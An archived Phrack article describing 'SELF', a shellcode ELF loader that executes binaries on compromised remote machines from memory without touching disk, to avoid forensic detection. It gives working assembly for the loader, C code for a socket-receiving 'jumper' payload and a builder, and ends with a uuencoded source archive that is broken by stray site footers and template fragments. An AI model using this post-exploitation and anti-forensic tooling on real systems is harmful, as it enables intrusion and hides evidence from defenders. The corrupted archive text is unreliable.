💾 Archived View for aphrack.org › issues › phrack63 › 11.gmi captured on 2021-12-04 at 18:04:22. Gemini links have been rewritten to link to archived content

View Raw

More Information

⬅️ Previous capture (2021-12-03)

-=-=-=-=-=-=-

                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3f, Phile #0x0b of 0x14

|=----------------=[ Advanced Antiforensics : SELF  ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ Pluf & Ripe ]=------------------------------=|
|=-----------------------[ www.7a69ezine.org ]=--------------------------=|


 1 - Introduction
 2 - Userland Execve
 3 - Shellcode ELF loader
 4 - Design and Implementation
   4.1 - The lxobject
     4.1.1 - Static ELF binary
     4.1.2 - Stack context
     4.1.3 - Shellcode loader
   4.2 - The builder
   4.3 - The jumper
 5 - Multiexecution
   5.1 - Gits
 6 - Conclusion
 7 - Greetings
 8 - References
 A - Tested systems
 B - Sourcecode


---[ 1 - Introduction

The techniques of remote services' exploitation have made a substantial 
progress. At the same time, the range of shellcodes have increased and
incorporates new and complex anti-detection techniques like polymorphism
functionalities.

In spite of the advantages that all these give to the attackers, a call to
the syscall execve is always needed; that ends giving rise to a series of 
problems:

 - The access to the syscall execve may be denied if the host uses some 
   kind of modern protection system.

 - The call to execve requires the file to execute to be placed in the 
   hard disk. Consequently, if '/bin/shell' does not exist, which is a
   common fact in chroot environments, the shellcode will not be executed
   properly.

 - The host may not have tools that the intruder may need, thus creating
   the need to upload them, which can leave traces of the intrusion in
   the disk.

The need of a shellcode that solves them arises. The solution is found in 
the 'userland exec'.

---[ 2 - Userland Execve

The procedure that allows the local execution of a program avoiding the use
of the syscall execve is called 'userland exec' or 'userland execve'. 
It's basically a mechanism that simulates correctly and orderly most of the
procedures that the kernel follows to load an executable file in memory and 
start its execution. It can be summarized in just three steps:

 - Load of the binary's required sections into memory.
 - Initialization of the stack context.
 - Jump to the entry point (starting point).

The main aim of the 'userland exec' is to allow the binaries to load avoiding
the use of the syscall execve that the kernel contains, solving the first of
the problems stated above. At the same time, as it is a specific implementation
we can adapt its features to our own needs. We'll make it so the ELF file 
will not be read from the hard disk but from other supports like a socket.
With this procedure, the other two problems stated before are solved because 
the file '/bin/sh' doesn't need to be visible by the exploited process but 
can be read from the net. On the other hand, tools that don't reside in the
destination host can also be executed. 

The first public implementation of a execve in a user environment was made by
"the grugq" [1], its codification and inner workings are perfect but it has 
some disadvantages:

 - Doesn't work for real attacks.
 - The code is too large and difficult to port.

Thanks to that fact it was decided to put our efforts in developing another
'userland execve' with the same features but with a simpler codification and 
oriented to exploits' use. The final result has been the 'shellcode ELF
loader'.

---[ 3 - Shellcode ELF loader

The shellcode ELF loader or Self is a new and sophisticated post-exploitation
technique based on the userland execve. It allows the load and execution of 
a binary ELF file in a remote machine without storing it on disk or modifying
the original filesystem. The target of the shellcode ELF loader is to provide
an effective and modern post-exploitation anti-forensic system for exploits 
combined with an easy use. That is, that an intruder can execute as many 
applications as he desires.

---[ 4 - Design and Implementation

Obtaining an effective design hasn't been an easy task, different options 
have been considered and most of them have been dropped. At last, it was 
selected the most creative design that allows more flexibility, portability 
and a great ease of use.

The final result is a mix of multiple pieces, independent one of another, 
that realize their own function and work together in harmony. This pieces 
are three: the lxobject, the builder and the jumper. These elements will make
the task of executing a binary in a remote machine quite easy. The lxobject 
is a special kind of object that contains all the required elements to change
the original executable of a guest process by a new one. The builder and 
jumper are the pieces of code that build the lxobject, transfer it from the 
local machine (attacker) to the remote machine (attacked) and activate it.

As a previous step before the detailed description of the inner details of 
this technique, it is needed to understand how, when and where it must be 
used. Here follows a short summary of its common use:

 - 1st round, exploitation of a vulnerable service:

 In the 1st round we have a machine X with a vulnerable service Y. We want to
 exploit this juicy process so we use the suitable exploit using as payload
 (shellcode) the jumper. When exploited, the jumper is executed and we're 
 ready to the next round.

 - 2nd round, execution of a binary:
 
 Here is where the shellcode ELF loader takes part; a binary ELF is selected
 and the lxobject is constructed. Then, we sent it to the jumper to be 
 activated. The result is the load and execution of the binary in a remote
 machine. We win the battle!!

---[ 4.1 - The lxobject

What the hell is that? A lxobject is an selfloadable and autoexecutable 
object, that is to say, an object specially devised to completely replace the
original guest process where it is located by a binary ELF file that carries
and initiates its execution. Each lxobject is built in the intruder machine
using the builder and it is sent to the attacked machine where the jumper
receives and activates it.

Therefore, it can be compared to a missile that is sent from a place to the
impact point, being the explosive charge an executable. This missile is built
from three assembled parts: a binary static ELF, a preconstructed stack 
context and a shellcode loader.

---[ 4.1.1 - Static ELF binary

It's the first piece of a lxobject, the binary ELF that must be loaded and
executed in a remote host. It's just a common executable file, statically
compiled for the architecture and system in which it will be executed.

It was decided to avoid the use of dynamic executables because it would add
complexity which isn't needed in the loading code, noticeably raising the 
rate of possible errors.

---[ 4.1.2 - Stack context

It's the second piece of a lxobject; the stack context that will be needed by
the binary. Every process has an associated memory segment called stack where
the functions store its local variables. During the binary load process, the
kernel fills this section with a series of initial data requited for its
subsequent execution. We call it 'initial stack context'.

To ease the portability and specially the loading process, a preconstructed
stack context was adopted. That is to say, it is generated in our machine and
it is assembled with the binary ELF file. The only required knowledge is the
format and to add the data in the correct order. To the vast majority of
UNIX systems it looks like:


      .----------------.
 .--> |   alignment    |             
 |    |================|
 |    |     Argc       |            - Arguments (number)
 |    |----------------|             
 |    |     Argv[]     | ---.       - Arguments (vector)
 |    |----------------|    |
 |    |     Envp[]     | ---|---.   - Environment variables (vector)
 |    |----------------|    |   |      
 |    |  argv strings  | <--'   |   
 |    |----------------|        |   - Argv and envp data (strings)
 |    |  envp strings  | <------' 
 |    |================|
 '--- |   alignment    | ------->   Upper and lower alignments
      '----------------'

This is the stack context, most reduced and functional available for us. As 
it can be observed no auxiliary vector has been added because the work with 
static executables avoids the need to worry about linking. Also, there isn't
any restriction about the allowed number of arguments and environment 
variables; a bunch of them can increase the context's size but nothing more.

As the context is built in the attacker machine, that will usually be 
different from the attacked one; knowledge of the address space in which the 
stack is placed will be required. This is a process that is automatically
done and doesn't suppose a problem.

--[ 4.1.3 - Shellcode Loader

This is the third and also the most important part of a lxobject. It's a
shellcode that must carry on the loading process and execution of a binary
file. it is really a simple but powerful implementation of userland execve().

The loading process takes the following steps to be completed successfully 
(x86 32bits):

 * pre-loading: first, the jumper must do some operations before anything 
   else. It gets the memory address where the lxobject has been previously
   stored and pushes it into the stack, then it finds the loader code and
   jumps to it. The loading has begun.

   __asm__(
           "push %0\n"
           "jmp *%1"
           :
           : "c"(lxobject),"b"(*loader)
           );

 * loading step 1: scans the program header table and begins to load each
   PT_LOAD segment. The stack context has its own header, PT_STACK, so when
   this kind of segment is found it will be treated differently from the 
   rest (step 2)

   .loader_next_phdr:
        // Check program header type (eax): PT_LOAD or PT_STACK
        movl    (%edx),%eax

        // If program header type is PT_LOAD, jump to .loader_phdr_load
        // and load the segment referenced by this header
        cmpl    $PT_LOAD,%eax
        je      .loader_phdr_load

        // If program header type is PT_STACK, jump to .loader_phdr_stack
        // and load the new stack segment
        cmpl    $PT_STACK,%eax
        je      .loader_phdr_stack

        // If unknown type, jump to next header
        addl    $PHENTSIZE,%edx
        jmp     .loader_next_phdr

    For each PT_LOAD segment (text/data) do the following:

  * loading step 1.1: unmap the old segment, one page a time, to be sure that
    there is enough room to fit the new one:

        movl    PHDR_VADDR(%edx),%edi
        movl    PHDR_MEMSZ(%edx),%esi
        subl    $PG_SIZE,%esi
        movl    $0,%ecx
    .loader_unmap_page:
        pushl   $PG_SIZE
        movl    %edi,%ebx
        andl    $0xfffff000,%ebx
        addl    %ecx,%ebx
        pushl   %ebx
        pushl   $2
        movl    $SYS_munmap,%eax
        call    do_syscall
        addl    $12,%esp
        addl    $PG_SIZE,%ecx
        cmpl    %ecx,%esi
        jge     .loader_unmap_page

  * loading step 1.2: map the new memory region.

        pushl   $0
        pushl   $0
        pushl   $-1
        pushl   $MAPS
        pushl   $7
        movl    PHDR_MEMSZ(%edx),%esi
        pushl   %esi
        movl    %edi,%esi
        andl    $0xffff000,%esi
        pushl   %esi
        pushl   $6
        movl    $SYS_mmap,%eax
        call    do_syscall
        addl    $32,%esp
  
  * loading step 1.3: copy the segment from the lxobject to that place:

        movl    PHDR_FILESZ(%edx),%ecx
        movl    PHDR_OFFSET(%edx),%esi
        addl    %ebp,%esi
        repz    movsb

  * loading step 1.4: continue with next header:

        addl    $PHENTSIZE,%edx
        jmp     .loader_next_phdr

 * loading step 2: when both text and data segments have been loaded 
   correctly, it's time to setup a new stack:

   .loader_phdr_stack:
        movl    PHDR_OFFSET(%edx),%esi
        addl    %ebp,%esi
        movl    PHDR_VADDR(%edx),%edi
        movl    PHDR_MEMSZ(%edx),%ecx
        repz    movsb

 * loading step 3: to finish, some registers are cleaned and then the loader 
   jump to the binary's entry point or _init().

   .loader_entry_point:
        movl    PHDR_ALIGN(%edx),%esp
        movl    EHDR_ENTRY(%ebp),%eax
        xorl    %ebx,%ebx
        xorl    %ecx,%ecx
        xorl    %edx,%edx
        xorl    %esi,%esi
        xorl    %edi,%edi
        jmp     *%eax

 * post-loading: the execution has begun.

As can be seen, the loader doesn't undergo any process to build the stack
context, it is constructed in the builder. This way, a pre-designed context is
available and should simply be copied to the right address space inside the
process.

Despite the fact of codifying a different loader to each architecture the
operations are plain and concrete. Whether possible, hybrid loaders capable 
of functioning in the same architectures but with the different syscalls 
methods of the UNIX systems should be designed. The loader we have developed
for our implementation is an hybrid code capable of working under Linux and 
BSD systems on x86/32bit machines.

---[ 4.2 - The builder

It has the mission of assembling the components of a lxobject and then 
sending it to a remote machine. It works with a simple command line design 
and its format is as follows:

 ./builder <host> <port> <exec> <argv> <envp>

where:

  host, port = the attached machine address and the port where the jumper is
  running and waiting

  exec = the executable binary file we want to execute

  argv, envp = string of arguments and string of environment variables, 
  needed by the executable binary

For instance, if we want to do some port scanning from the attacked host, we
will execute an nmap binary as follows:

 ./builder 172.26.0.1 2002 nmap-static "-P0;-p;23;172.26.1-30" "PATH=/bin"

Basically, the assembly operations performed are the following:

 * allocate enough memory to store the executable binary file, the shellcode 
   loader and the stack's init context.

      elf_new = (void*)malloc(elf_new_size);

 * insert the executable into the memory area previously allocated and then
   clean the fields which describe the section header table because they 
   won't be useful for us as we will work with an static file. Also, the 
   section header table could be removed anyway.

      ehdr_new->e_shentsize = 0;
      ehdr_new->e_shoff = 0;
      ehdr_new->e_shnum = 0;
      ehdr_new->e_shstrndx = 0;

 * build the stack context. It requires two strings, the first one contains
   the arguments and the second one the environment variables. Each item is
   separated by using a delimiter. For instance:

      <argv> =  "arg1;arg2;arg3;-h"
      <envp> =  "PATH=/bin;SHELL=sh"

   Once the context has been built, a new program header is added to the
   binary's program header table. This is a PT_STACK header and contains all
   the information which is needed by the shellcode loader in order to setup
   the new stack.

 * the shellcode ELF loader is introduced and its offset is saved within the
   e_ident field in the elf header.

      memcpy(elf_new + elf_new_size - PG_SIZE + LOADER_CODESZ, loader, LOADER_CODESZ);
      ldr_ptr = (unsigned long *)&ehdr_new->e_ident[9];
      *ldr_ptr = elf_new_size - PG_SIZE + LOADER_CODESZ;

 * the lxobject is ready, now it's sent to specified the host and port.

      connect(sfd, (struct sockaddr *)&srv, sizeof(struct sockaddr)
      write(sfd, elf_new, elf_new_size);

An lxobject finished and assembled correctly, ready to be sent, looks like 
this:

        [ Autoloadable and Autoexecutable Object ]
    .------------------------------------------------
    |
    |       [ Static Executable File (1) ]
    |    .--------------------------------.
    |    |                                |
    |    |    .----------------------.    |
    |    |    | ELF Header )---------|----|--.
    |    |    |----------------------|    |  | Shellcode Elf loader (3)
    |    |    | Program Header Table |    |  | hdr->e_ident[9]
    |    |    |                      |    |  |
    |    |    | + PT_LOAD0           |    |  |
    |    |    | + PT_LOAD1           |    |  |
    |    |    |     ...              |    |  |
    |    |    |     ...              |    |  |
    |    |    | + PT_STACK )---------|----|--|--.
    |    |    |                      |    |  |  | Stack Context (2)
    |    |    |----------------------|    |  |  |
    |    |    | Sections (code/data) |    |  |  |
    |    '--> |----------------------| <--'  |  |
    |    .--> |######################| <-----'  |
    |    |    |## SHELLCODE LOADER ##|          |
    |  P |    |######################|          |
    |  A |    |                      |          |
    |  G |    |       .......        |          |
    |  E |    |       .......        |          |
    |    |    |                      |          |
    |    |    |######################| <--------'
    |    |    |#### STACK CONTEXT ###|
    |    |    |######################|
    |    '--> '----------------------'
    |
    '-----------------

---[ 4.3 - The jumper

It is the shellcode which have to be used by an exploit during the exploitation
process of a vulnerable service. Its focus is to activate the incoming lxobject
and in order to achieve it, at least the following operations should be done:

 - open a socket and wait for the lxobject to arrive
 - store it anywhere in the memory
 - activate it by jumping into the loader

Those are the minimal required actions but it is important to keep in mind 
that a jumper is a simple shellcode so any other functionality can be added 
previously: break a chroot, elevate privileges, and so on.

1) how to get the lxobject?

 It is easily achieved, already known techniques, as binding to a port and
 waiting for new connections or searching in the process' FD table those that
 belong to socket, can be applied. Additionally, cipher algorithms can be 
 added but this would lead to huge shellcodes, difficult to use.

2) and where to store it?

 There are three possibilities:

 a) store it in the heap. We just have to find the current location of the 
    program break by using brk(0). However, this method is dangerous and 
    unsuitable because the lxobject could be unmapped or even entirely
    overwritten during the loading process.

 b) store it in the process stack. Provided there is enough space and we know
    where the stack starts and finishes, this method can be used but it can
    also be that the stack isn't be executable and then it can't be applied.

 c) store it in a new mapped memory region by using mmap() syscall. 
    This is the better way and the one we have used in our code. 

Due to the nature of a jumper its codification can be personalized and 
adapted to many different contexts. An example of a generic jumper written 
in C is as it follows:

    lxobject = (unsigned char*)mmap(0, LXOBJECT_SIZE,
         PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, -1, 0);

    addr.sin_family = AF_INET;
    addr.sin_port = htons(atoi(argv[1]));
    addr.sin_addr.s_addr = 0;

    sfd = socket(AF_INET, SOCK_STREAM, 0));
    bind(sfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
    listen(sfd, 10);
    nsfd = accept(sfd, NULL, NULL));

    for (i = 0 ; i < 255 ; i++) {
        if (recv(i, tmp, 4, MSG_PEEK) == 4) {
                if (!strncmp(&tmp[1], "ELF", 3)) break;
        }
    }

    recv(i, lxobject, MAX_OBJECT_SIZE, MSG_WAITALL);

    loader = (unsigned long *)&lxobject[9];
    *loader += (unsigned long)lxobject;

    __asm__(
           "push %0\n"
           "jmp *%1"
           :
           : "c"(lxobject),"b"(*loader)
           );
        
---[ 5 - Multiexecution

The code included in this article is just a generic implementation of a
shellcode ELF loader which allows the execution of a binary once at time.
If we want to execute that binary an undefined number of times (to parse more
arguments, test new features, etc) it will be needed to build and send a new
lxobject for each try. Although it obviously has some disadvantages, it's
enough for most situations. But what happens if what we really wish is to
execute our binary a lot of times but from the other side, that is, from
the remote machine, without building the lxobject?

To face this issue we have developed another technique called "multi-execution".
The multi-execution is a much more advanced derived implementation. Its main 
feature is that the process of building a lxobject is always done in the 
remote machine, one binary allowing infinite executions. Something like 
working with a remote shell. One example of tool that uses a multi-execution 
environment is the gits project or "ghost in the system".

--[ 5.1 - Gits

Gits is a multi-execution environment designed to operate on attacked remote
machines and to limit the amount of forensic evidence. It should be viewed as
a proof of concept, an advanced extension with many features. It comprises a
launcher program and a shell, which is the main part. The shell gives you the
possibility of retrieving as many binaries as desired and execute them as 
many times as wished (a process of stack context rebuilding and binary 
patching is done using some advanced techniques). Also, built-in commands, job
control, flow redirection, remote file manipulation, and so on have been 
added.

---[ 6 - Conclusions

The forensic techniques are more sophisticated and complete every day, where
there was no trace left, now there's a fingerprint; where there was only one
evidence left, now there are hundreds. A never-ending battle between those who
wouldn't be detected and those who want to detect. To use the memory and 
leave the disk untouched is a good policy to avoid the detection. The 
shellcode ELF loader develops this post-exploitation plainly and elegantly.

---[ 7 - Greetings

7a69ezine crew & redbull.

---[ 8 - References

 [1] The Design and Implementation of ul_exec - the grugq
     http://securityfocus.com/archive/1/348638/2003-12-29/2004-01-04/0

 [2] Remote Exec - the grugq
     http://www.phrack.org/show.php?p=62&a=8

 [3] Ghost In The System Project
     http://www.7a69ezine.org/project/gits

---[ A - Tested systems

The next table summarize the systems where we have tested all this fucking
shit.
	
                            /----------v----------\
                            |   x86    |  amd64   |
               /------------+----------+----------<
               | Linux 2.4  |  works   |  works   |
               >------------+----------+----------<
               | Linux 2.6  |  works   |  works   |
               >------------+----------+----------<
               | FreeBSD    |  works   | untested |
               >------------+----------+----------<
               | NetBSD     |  works   | untested |
               \------------^----------^----------/

---[ B - Sourcecode

begin 644 self.tgz
M'XL(`%)VS$(``^U]:W<;-[+@?&7_"HS&CDB9I/B0:%F*DU5LV=8=6]):\L2Y
MB0]/DVQ2;9/=3'=3CXSSD_8WW'/N+]MZ`8U^4`^_9G:O.B<6V0`*A4*A4%4H
M%&-O.E[_R]=]6O`\W-RDO_#D_]+G=JO3ZVQN;/:ZG;^TVJW-=N<O:O,KXT7/
M(D[<2*F_1&&87%7ONO+_1Y\8YW\4#K\F#]QT_KNMA]TVOF^W.QMW\_]-'C/_
M^*'O!<WDXHL/$R>XM[&Q9/XW.P\W'^;FO[O1[?U%M;XT(F7/__#Y=U3QV0T2
M?QQ&7A#[0^6=A=-%XH?!MCH&%BFK;S^#RZMJ'$T78_6=>NW/O:75SL_/FP_=
MWB/O#S_PFF$T<1S55@VU'R11.%H,$1='=>#-F]B+IFXP4GL7WO`,(';AY?&I
M-YT.PY&G]EX^4]/0'7F1HS:@Y*D7^Y-`88/]V7SJS;P@<1F:4AM-[./DU%/3
MBW#PWALFC""\IY)CK#HDF`,_<*/+M+C#Q<,/:A@&B7=AM<PBI)'!LH[T-ECX
M4_.R*R_?+V9S?+<)WU\MIHGOP0`7&M5-0NBYG\2.ZL&G)V$PG"YB*GV()9'G
M)7XP@>(M^/K:&WLPET,/ON\B/N$B&GJ(D.,XC4;CUR)U'40B\8:G@?_[PHM5
M.%:1-PL33P'%SWP`M:J\B_DT])F`ZM0]\]0,1J=<%2\&L*2`A=RI<N91.(F\
M.&ZJW40E`#5V9P#:GWEU^AJYP<1#^+&F4LS`_&`8>6[LC7"^'/@61O,P<A,H
M#[QSFL1AB+-XH;"OQL@#?`D7"^^I_\%3\W!Z.8/6IWX\<\:+@&JY4Q^H&C<=
M9S]0\=Q/"`G$R!V=`4!W`LV34S=1[G2*[V-/37S`*PFY5H(3[D5Q'48\I#JA
M0^.[C.FK1RRI_!@`G+N7B+4W\D8[#-0+1C'"@UE2D1\36!>)ZS.UD6X#X-!X
M&YB?><(=`MECW7^NFYE[J0:>&GF!#Q3S>22G89RH10P0XQ"(CJSSP0>Z`?P9
M$#H*%/2BJ08`$V_6--W)F'0'D??[PH^()IX:^U-/ERT2^@B=SZ?N$#L/J`[V
M=NI&(S7RXP]-Y-$80,"*FU[6{body}lt;'5=5A&ZS3KJVH4XK2&0)<+/T[JZOS4'YX2
M[1`,S/,,,!R[PP2A#T]1%`,)S_PH#'`1Q\Q+AH74N0_((SQ`2Y`<(208+ZRK
MZ64Z3*(14@]K$^,E83B5J4>@/JR+!1"+*\{body}lt;8E^+6"%WXB)#L%@/BY`0BSFN
M<GPUT^,8NH&:>@0[`A+%FM,(-"Y;^*3!$+5X_1%$J.I:`R.TXG!ZQC,Q4RYR
M#ZPN;!"+H$;"C<-%0'-!3+FZT)(2J;':E'5?)D.I:Z`33.4B\LP2",]YZJ<A
M,(8RXHCQHT7N`C)GH3]"EL::T*4C`RVN"?P*H\OAI<(H]^K,6VTJ9S]9C=7`
MA=T(FEU"AS-8XFX`ZUD(XL\64Q(-("4B8&BLA(P>C7"V@=MADAD7QPS-FF-8
MQX$W!9K).$.2U`!"!NK"4F2F!X+.0!!&#-]!U0%X,HE3BC35?D(S#JP7+V8S
MF*`_>%6\!TT#N@/AK&"IS65IO\2>A$Z\L<!89;6-0"+0ZHR15T+INNF0N/91
MP/I_N'H:B-#V+D3U_@-V$BTS8*4`XO,08*DJH8YS1=]KPG,S%Q!U_9D&F)\@
MGZA#_)!BC#++T$Q8P!$64.4LD"<]H@Q=PT)&YM8L-/8CFC@"IB4B#C+!;6$0
MGGEEVXH+U$I(>(!@]X;^&+9M/[O?GWLT1>[(G?/TC6$Q,T^$"K9'%9X'M/Y@
M9?WLK0+>,Q=V$A_7'G6':@`QA&.+&A`)(S6.PAF+7RW]8(]/^'4([R-@BSEL
M98EL3X!E"#L)3-?/?G(*+0%SPZ0LV+A9<AX6B##P4$\#*>"Q5,`W0Q?I[AA!
MK24MB]E@-3&R"E`^\V,?N7MPR2S"FSH4$PJPWR#NCO!S=GP!X*P.`PM#6),H
M'E,!.@JQ.Z"K/_)D8W!@AP>^$[4!%R;-Q#0.;6$-BY[XD3E@OAA,"Y/(HD>+
M%`"![!;9VX(Z!U8@I024TA5{body}lt;Q(M)K^OJ%_;[^HT[2!3D3T8GDL",P`8YV'T
M`?4GHBML&&-8A40('_>(&-8][J<PM:FNP(OYJ1`8`8`XB9!B4]$5XJ;96E&2
MTTJ"1>-&H/]@UX`)H`+*'LX,\@<M23?X('L^D)-W0![7"#A[Q-,X!\R0:;WQ
MF-@*B#'RSKQI.,>%Y`8T.4Y!L,(N2?PFB\<L`1PH%;DH6('D49%.3@BK/DBX
M?V$:T`FA"]Z*QC##4YQX'`^2;.!YS"FKL:V?.ZP2FQUIJ0)/W!"7E.">@78)
M+WBM&L8AJGL)HHR\#&S6L/55Q^B(N*W@-AOH/<LF{body}lt;GRS.9'N\(HN_\YK@CN
M5"H0.XK&/'.'IV#($E#(&V<`.U@7F`>H3W)!QC"#"E\J04GU)@0!1&::&9$
MUP39)3%"M8P>+*)A^9X!?SBXAXV1?U%W1=2UYI<G"6O1QNKC3HF']?2"&`AG
M,%(@%[,'@';C2SWI+LK<NB@,0:HW#<TVZBE:C\$ED&P^GPH_Q?@6-1^0$A%I
MY,0)5QMLSN


gemini - kennedy.gemi.dev




]POF;VN$(VX!'(?+D)A.HYFX\8<ZK3*TAH"&<^[=(:V/JL(N
MA)(J8J/#5AMF*JTU`B5RCB(*MIZIB^JJ+$DG]J:`AT?:'[=F+3%%S%:G9BBY
MQV#`^`,?K!%0BW'5N_P%2`08N""Q/#077-Y)D=1:,%H+C%A_YE^09H_F(M!*
MS7T/!#@@%XR\.=@;-.:`P(A(J.,FX28DI$!)0:Q]WOJTE41D(&&6A,!W*.-]
MI&X$^O@E3CKN5=0/X$O:(F@WV[Q6Q(KF'4RL7(*7&`.7>!I&YO'4QJRWXU9+
MJP!G#-&5U89SK5=:V0(#E0F^X5PW,W:\<E)=`&BF32`I)`IH]4,;>ZD"9E"#
M-84ZY\3++E!+0:3]:`)F9Y)NGI<BDX#P3=O<9R'*5%!,.3UC""?5]:E^GJ!@
M-,=CG(LDW8T=ULPU,:K:0*UI[2]'+5UA5"-<7%P_("P!)G#8;DQ:O7?FAXN8
MM%6M:9"-X@&Q4'T'IAY&_MS60'D#Y1ILR9)"8^1M770SMH;)8`+6C-!A,`)U
MX!QM)D_X#MB-=*X9*LZ@'#C`_K#L7N!KK:NC<02K1E3M2^R1-W8R&:$!;\QM
M@!"A253/^BUHSLX64T":YE#<&]AHG[<$TU*=>RP$7$/#MWJ?+$)0OZ#F"&(A
MP/W<T;VR>O=^X0\O#9.`YG/.NC+)=.!B`J1;@(6(G`\+S;U$>^`[J[E?BVS
MF'Y&RAD-KFZ5(<6U:L6T]58CM-%1H[O4'!*`T<!C9?NX`Q4-T3(&'Z_";0<@
MT&P`>)ZMI;M2`HL:AQ`E.RJS7T)3+38=(Q[,TD53$80R;"5#T@IA"05U)%>,
MXLQ/-.HR3-9I'</-W,(2D\MW\=3^LH6+H^>:9U-\&P-8.U/OKW_56U71=>C\
MK`T<)`;W["8_JMW,T&!K0J\[(D133@MQD8264'%2*>HFLK?'+NP5T%8`B6`#
M.Q>T/C_F5<6^L<2#MY%'GAE2OHW<RLHIL]2@`Y0C9%I<JJ)BP]+2C=#F<UAA
M1CL43>^<%;P'=,L,%B59HKU#EE>%R.LPE^>W"L:(YCKK=QNE:I7A.W&:@OWO
M^>@?L<5:S'+M!"NC'",Q)%8-DLJ-F&RXC<:Q&:GNG*2LJX2.A(D#JC&JXV0^
MUP&.QI\68(Q[/NP7K-Q;NX1LFKH731='Y#@Z!]PX]F8#E*^X7.+M=!IBXX.N
MLWRVUH;8_HX8_SQZ:RWR.FRF++O$J\W.EM3ZIDV)5WUN2T]9@VBEI31UQ%Y;
M(W+L[1IM/E2L5V/VB+A:6.=\+749+G(V:IYSVG)0(24^B&#ZT7>)3BK2^%EA
MA9[{body}gt;9BP-F$;E3BXO/%$#@NM_.,X1Y>!.\-S#X-.;(QJ!!HN8$-V1R-'W,^H
MK&E_I3:N4S<H4@,Y`^>@CGX"V!L`)JQ*US<L[Z!?&_L&K9S-<2^*PBBV9ZMX
MR)#.5(R,,"J;JIVB6XAG2]-&L`4#.9U36+QG7I1N4&B_H8T>Q^'0)]D@/K#8
MFY"=+=X\[H86)'L?1(N,R>;Q2$*PEG+F1CY1MJF>+B*S\IFC2#Y+W\1JCO;/
M`<XQ[Z#B%S-VJG&<LSR:JI&;N*S%)<(U>%R"1Q/LA;9%U<_B[8;97=7M,R1#
M\_0D9"V<%#5+3R?>,Q+8GG(SA/Q2=;+S@0SICL`<X>TJ*^99`DX\5"]D):&I
MKZ4?G8WP7F*DAC'K<\*;]\(PH"U!U-L/`:C[WFCBR>;H`*5F+DL/7!PC7AI$
M3>%H<;&R<Q5@LEP^<\F/_AXVF`2U,.?-P?Y;693DCYN&X0?V>(%R)6=_S4;N
M:3KX[@?U$0K!)IFP&P>>CYD30H>_?WR<>S[J`C[%C"9#:9!IWL"2!6OUU6`Q
M&X"2K!OF$2KO5X,_^_6=@$?<R\"?`:7":\!GL=X+SN8VV(\"NH$EQK-E%M`-
MNTAID'8&F],9\'E$GBYX\7VCL2KUKB7'1SW0,]:D`&EFDJH`K*7]4&&V'WQ6
MKYK&5:A0Q@6"QP_PY<U\+EH"&`+X2=>,A;M6\]BOH@(`?"YZ8&85UME>AS6Q
M&(J.G!X5PB8!Y@SO3"!)%GB:"19OJD*


gemini - kennedy.gemi.dev




U3[H5T`:V9Q`9+!C11/3.K]@L5D
M^6<1`[*L:;DZLK7;FP[M3''F<`D:X-'#`/U(4S]`)R6@,HU#DI.DB,,6Y*"+
M!71>(+E8\=2`MDVTFA!/8GO:*PRSRD0:'G,,DY'*#M0X-=Z0(7EX^(16I`)+
M2A#-Z$I`'R(Z&5`.HI^#;4JK8D$CU/:J%FUU:Y]:Q`N2KJC;IPX<8_H:G1"L
M[!U+I)D#W5%$=M8<M3>C(-#&RSR`7@P^O-3;HA:0HJ[Y;`_S=J@U0]349T9#
M&86!^''%!TQ>_MCCANBT!QK\'[V;9_V<+XV/,^5.H%W$?$B^<>-1`K43=Q\8
M/VJ'V=U>U"K7R1T8DFJ&6ONE=G3F]JBB.:1U3H=W#MYCT%%$YV_L%Z99GN/B
M&R^F)=[YG#>UJ@^9\IVS;4@:`UGU6$8G9&+/:5L&-MH%'8)#=X"&4[W8ZJEN
M9P`[>PTM]C7<9QL"?9OUUXP53'08A7P<CB?!XH#4IRC!)7,L"A!O&K/_=^(E
MC)P^^!-V2@T/8^68I:Y=)U.*$B'MA^=ROH"IX?.I0)_D(PL2F@$Y=/Q@E-JI
M['OG?1X@X3B(*F#-*)N4W/-D$31I;^WWW7C6[U?M&)L5[%O=;_T6K&1>OY_-
MU=K]=N;E=N:+6AFN5/4@:_65P4IUC9&KV?5J.S0'&B7R&K6W50RR@@>DCXE/
M/7$):)L7,$?GFSY#]


gemini - kennedy.gemi.dev




"(."CD_[+P]VG6LV40^Z,[G3JLN&)3DL&6\=FQR>[
M3_Y>)\\*D)7/UH%_M>M/ZZWI.7FJ$"?H</5&J:,8."UUL@$D%*RXS<'H.C6B
M=I.)T4?_27]^.HI2\JVOJR>G'B"<'_OEW%-5S[VH;9MAPEZA43?M9^'9%/]6
M[WNCBUK]/K1P;.#[XU+(,#"!6B>>0=)J+!'!/CN24CB\C7+<@B%/I`.'1GP\
MZ,?2B6DYA(6)?^_IW@A!7?K>X[_%GF\\!)G(TC$0)RP=!'I=F5=D.*5(,_SK
ML>:^<F@O`MIK"-\41_*BY>@$,D.Z?+%W<'*\_Y][=9S0M$]H:O=I.(F[?(:G
M,.A/R:T(5<5%L(Z*5PWE6D:$HD0L+,<F+,A%,'/G?&H['6E0=3H;F+OHK]#A
M62'',$@4"&&BM0Q0%,+%Y%1%(:Z,$*168J@.@+:=`@<?O7CZNO^/W:=/7QM>
M'OGEM5[MO3K^3U,K3FN!^29D?-X7(L9%&/=:\'[(Q-4$I3'W<7CIVD1Y.+6@
M%0`AA@!JD,X3<)AT<3'&I]5JY2K(1","V1+=6^G+>YWB*(Y_.>[/".\L?Y*I
M"L\H[$M019'-VATDS;R$_PSAAA>%!2%(6R1]/^'%4"1C*7-UMI5F+60$V3`C
MD.ZA;$S94;=N]*K1+KY[M7MT7'S[\);\E,Y)"1O)[%LEN=GGR;\.G{body}amp;NMV2*
M/VF"NV:"R^:ANPT;Y/PR(\S-'F:T%1U50*KOLA7[;/_EGD4\BVLRU0Z?/3O>
M.RFC<;HB!O-L2>3-_Q!`\:"4GS:V::/W@P4?G]NRU4+X<Z1KKD_@8#I_&H3H
M0]%^5+)LA9"Q=1(LKDZ.493`,W39H%O.GY&G./:2Q5P.`6D3V<ZH#.GFLOWE
M"/O9(M>:Y?PDY>@%G$;2/_#CTSKKU;C<H2SBZ)GAU',#47Y)Q;4T6ZW1:M^^
M"7^S`]5@Z^NC4XZL!XMR5*=/=9:0;O?E_O.#E'+S0JT]K`4<\_J7*A*QEEV&
